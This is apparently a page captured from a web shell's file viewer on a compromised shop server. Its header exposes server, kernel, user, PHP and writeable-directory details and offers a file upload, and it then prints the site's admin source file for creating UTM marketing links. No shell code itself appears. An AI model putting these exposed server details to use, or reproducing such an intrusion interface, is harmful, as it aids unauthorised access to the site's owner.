https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/admin_new/links/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/admin_new/links/add_link.php
<main class="flex-1 py-4 px-4 bg-purple-50">
    <h1 class="text-xl font-bold mb-4 text-[#333]">Tambah Link</h1>
    <?php if ($this->session->flashdata('message')): ?>
        <div class="alert flex items-center justify-between bg-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-100 border-l-4 border-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-500 text-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-800 px-6 py-4 rounded-lg shadow-lg transition transform duration-300">
            <div class="flex items-center">
                <!-- Ikon Feather sesuai jenis pesan -->
                <i data-feather="<?php echo $this->session->flashdata('message_type') === 'success' ? 'check-circle' : 'x-circle'; ?>" class="h-6 w-6 mr-3"></i>
                <span class="font-semibold"><?php echo $this->session->flashdata('message'); ?></span>
            </div>
            <button class="ml-4 text-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-500 hover:text-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-700 focus:outline-none" onclick="this.parentElement.style.display='none'">
                <i data-feather="x" class="h-5 w-5"></i>
            </button>
        </div>
        <script>
            feather.replace();
        </script>
    <?php endif; ?>

    <form action="<?= base_url('admin/link/create_link') ?>" method="POST" class="space-y-8" id="linkForm">
        <input type="hidden" name="<?= $this->security->get_csrf_token_name() ?>" value="<?= $this->security->get_csrf_hash() ?>" class="csrf_token">

        <!-- Informasi Voucher Section -->
        <div class="bg-white rounded-lg shadow-sm p-6" id="voucherSection">
            <h2 class="text-lg font-semibold mb-6">Informasi Link</h2>

            <!-- Jenis Link -->
            <div class="mb-6">
                <div class="flex items-start gap-4">
                    <!-- Label & Info -->
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Jenis Link</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Pilih jenis link yang akan dibuat</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <select
                            id="link_type"
                            name="link_type"
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333]"
                            onchange="showRelatedSelect(this.value)">
                            <option value="">Pilih Jenis Link</option>
                            <option value="product">Produk</option>
                            <option value="brand">Merk</option>
                            <option value="category">Kategori</option>
                        </select>
                    </div>
                </div>
            </div>

            <!-- Produk Select (initially hidden) -->
            <div class="mb-6 hidden" id="product_select_container">
                <div class="flex items-start gap-4">
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Pilih Produk</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                    </div>
                    <div class="w-2/3">
                        <select
                            id="product_id"
                            name="product_id"
                            class="tom-select">
                            <option value="">Pilih Produk</option>
                            <?php foreach ($products as $product): ?>
                                <option value="<?= $product->id_products ?>"><?= $product->title ?></option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                </div>
            </div>

            <!-- Brand Select (initially hidden) -->
            <div class="mb-6 hidden" id="brand_select_container">
                <div class="flex items-start gap-4">
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Pilih Merk</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                    </div>
                    <div class="w-2/3">
                        <select
                            id="brand_id"
                            name="brand_id"
                            class="tom-select">
                            <option value="">Pilih Merk</option>
                            <?php foreach ($brands as $brand): ?>
                                <option value="<?= $brand->id_brands ?>"><?= $brand->brand ?></option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                </div>
            </div>

            <!-- Category Select (initially hidden) -->
            <div class="mb-6 hidden" id="category_select_container">
                <div class="flex items-start gap-4">
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Pilih Kategori</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                    </div>
                    <div class="w-2/3">
                        <select
                            id="category_id"
                            name="category_id"
                            class="tom-select">
                            <option value="">Pilih Kategori</option>
                            <?php
                            foreach ($categories as $category) {
                                $indent = $category->parent ? '&nbsp;&nbsp;той ' : ''; // Tambahkan indentasi jika child
                                echo '<option value="' . $category->id_categories . '">' . $indent . htmlspecialchars($category->category) . '</option>';
                            }
                            ?>
                        </select>
                    </div>
                </div>
            </div>

            <!-- UTM Source -->
            <div class="mb-6">
                <div class="flex items-start gap-4">
                    <!-- Label & Info -->
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Sumber Trafik (Source)</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Dari mana pengunjung datang?</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <div class="grid grid-cols-4 gap-3 source-container">
                            <button type="button" class="source-btn border border-gray-300 rounded-lg p-3 text-center cursor-pointer hover:border-[#7A4397] hover:bg-purple-50 transition-colors flex flex-col items-center" data-value="facebook">
                                <img src="https://cdn-icons-png.flaticon.com/128/174/174848.png" alt="Facebook" class="h-8 w-8 mb-2">
                                <span class="text-sm">Facebook</span>
                            </button>

                            <button type="button" class="source-btn border border-gray-300 rounded-lg p-3 text-center cursor-pointer hover:border-[#7A4397] hover:bg-purple-50 transition-colors flex flex-col items-center" data-value="instagram">
                                <img src="https://cdn-icons-png.flaticon.com/128/15713/15713420.png" alt="Instagram" class="h-8 w-8 mb-2">
                                <span class="text-sm">Instagram</span>
                            </button>

                            <button type="button" class="source-btn border border-gray-300 rounded-lg p-3 text-center cursor-pointer hover:border-[#7A4397] hover:bg-purple-50 transition-colors flex flex-col items-center" data-value="youtube">
                                <img src="https://cdn-icons-png.flaticon.com/128/5968/5968852.png" alt="Youtube" class="h-8 w-8 mb-2">
                                <span class="text-sm">Youtube</span>
                            </button>

                            <button type="button" class="source-btn border border-gray-300 rounded-lg p-3 text-center cursor-pointer hover:border-[#7A4397] hover:bg-purple-50 transition-colors flex flex-col items-center" data-value="linkedin">
                                <img src="https://cdn-icons-png.flaticon.com/128/3536/3536505.png" alt="Linkedin" class="h-8 w-8 mb-2">
                                <span class="text-sm">Linkedin</span>
                            </button>

                            <button type="button" class="source-btn border border-gray-300 rounded-lg p-3 text-center cursor-pointer hover:border-[#7A4397] hover:bg-purple-50 transition-colors flex flex-col items-center" data-value="googleads">
                                <img src="https://cdn-icons-png.flaticon.com/128/2875/2875421.png" alt="Google Ads" class="h-8 w-8 mb-2">
                                <span class="text-sm">Google Ads</span>
                            </button>

                            <button type="button" class="source-btn border border-gray-300 rounded-lg p-3 text-center cursor-pointer hover:border-[#7A4397] hover:bg-purple-50 transition-colors flex flex-col items-center" data-value="metaads">
                                <img src="https://cdn-icons-png.flaticon.com/128/6033/6033716.png" alt="Meta" class="h-8 w-8 mb-2">
                                <span class="text-sm">Meta Ads</span>
                            </button>

                            <button type="button" class="source-btn border border-gray-300 rounded-lg p-3 text-center cursor-pointer hover:border-[#7A4397] hover:bg-purple-50 transition-colors flex flex-col items-center" data-value="tiktok">
                                <img src="https://cdn-icons-png.flaticon.com/128/15713/15713399.png" alt="TikTok" class="h-8 w-8 mb-2">
                                <span class="text-sm">TikTok</span>
                            </button>

                            <button type="button" class="source-btn border border-gray-300 rounded-lg p-3 text-center cursor-pointer hover:border-[#7A4397] hover:bg-purple-50 transition-colors flex flex-col items-center" data-value="dunia-asmara">
                                <img src="https://cdn-icons-png.flaticon.com/128/2965/2965879.png" alt="Dunia Asmara" class="h-8 w-8 mb-2">
                                <span class="text-sm">Dunia Asmara</span>
                            </button>
                            <button type="button" class="source-btn border border-gray-300 rounded-lg p-3 text-center cursor-pointer hover:border-[#7A4397] hover:bg-purple-50 transition-colors flex flex-col items-center" data-value="sb">
                                <img src="https://cdn-icons-png.flaticon.com/128/4140/4140919.png" alt="Sliding Banner" class="h-8 w-8 mb-2">
                                <span class="text-sm">Sliding Banner</span>
                            </button>
                        </div>
                        <input type="hidden" id="utm_source" name="utm_source" required>
                    </div>
                </div>
            </div>

            <!-- UTM Medium-->
            <div class="mb-6">
                <div class="flex items-start gap-4">
                    <!-- Label & Info -->
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Jenis Trafik (Medium)</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Bagaimana mereka menemukan link ini?</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <input
                            id="utm_medium"
                            type="text"
                            name="utm_medium"
                            placeholder="Misalnya: banner, instastory"
                            autocomplete="off"
                            required
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333] placeholder-gray-500" />
                    </div>
                </div>
            </div>

            <!-- UTM Campaign-->
            <div class="mb-6">
                <div class="flex items-start gap-4">
                    <!-- Label & Info -->
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Nama Promosi (Campaign)</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Nama promosi atau kampanye yang sedang berjalan</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <input
                            id="utm_campaign"
                            type="text"
                            name="utm_campaign"
                            placeholder="Misalnya: launchingfemme"
                            autocomplete="off"
                            required
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333] placeholder-gray-500" />
                    </div>
                </div>
            </div>
            <!-- UTM Content-->
            <div class="mb-6">
                <div class="flex items-start gap-4">
                    <!-- Label & Info -->
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Konten Iklan (Content)</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Opsional</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Gunakan untuk membedakan variasi iklan dalam kampanye yang sama.</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <input
                            id="utm_content"
                            type="text"
                            name="utm_content"
                            placeholder="Misalnya: instastory-1, instastory-2"
                            autocomplete="off"
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333] placeholder-gray-500" />
                    </div>
                </div>
            </div>
            <!-- UTM Terms-->
            <div class="mb-6">
                <div class="flex items-start gap-4">
                    <!-- Label & Info -->
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Kata Kunci (Term)</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Opsional</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Kata kunci yang digunakan dalam iklan berbayar.</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <input
                            id="utm_term"
                            type="text"
                            name="utm_term"
                            placeholder="Misalnya: vibrator"
                            autocomplete="off"
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333] placeholder-gray-500" />
                    </div>
                </div>
            </div>
        </div>

        <!-- Action Buttons -->
        <div class="flex justify-end gap-4 p-6">
            <button type="button" class="px-6 py-2 border border-gray-300 rounded-lg hover:bg-gray-50 transition-colors"
                onclick="window.location.href='<?= base_url('admin/marketing/link') ?>'">
                Batal
            </button>
            <button type="submit" class="px-6 py-2 bg-[#7A4397] text-white rounded-lg hover:bg-[#7A4397] transition-colors">
                Simpan & Tambah Baru
            </button>
        </div>
    </form>
</main>
<script>
    document.addEventListener('DOMContentLoaded', function() {
        // Initialize feather icons (untuk alert message)
        feather.replace();

        // Initialize Tom Select for all select inputs with tom-select class
        document.querySelectorAll('.tom-select').forEach(function(select) {
            new TomSelect(select, {
                plugins: ['dropdown_input'],
                maxItems: 1,
                placeholder: 'Cari...',
                searchField: 'text'
            });
        });

        // UTM Source button selection
        document.querySelectorAll('.source-btn').forEach(function(btn) {
            btn.addEventListener('click', function() {
                // Remove active class from all buttons
                document.querySelectorAll('.source-btn').forEach(function(b) {
                    b.classList.remove('border-[#7A4397]', 'bg-purple-50');
                });

                // Add active class to selected button
                this.classList.add('border-[#7A4397]', 'bg-purple-50');

                // Set hidden input value
                document.getElementById('utm_source').value = this.getAttribute('data-value');
            });
        });
    });

    // Function to show/hide the related select based on link type
    function showRelatedSelect(linkType) {
        // Hide all select containers first
        document.getElementById('product_select_container').classList.add('hidden');
        document.getElementById('brand_select_container').classList.add('hidden');
        document.getElementById('category_select_container').classList.add('hidden');

        // Show the appropriate container based on selection
        if (linkType === 'product') {
            document.getElementById('product_select_container').classList.remove('hidden');
        } else if (linkType === 'brand') {
            document.getElementById('brand_select_container').classList.remove('hidden');
        } else if (linkType === 'category') {
            document.getElementById('category_select_container').classList.remove('hidden');
        }
    }
</script>

https://t.me/RX1948 - 2025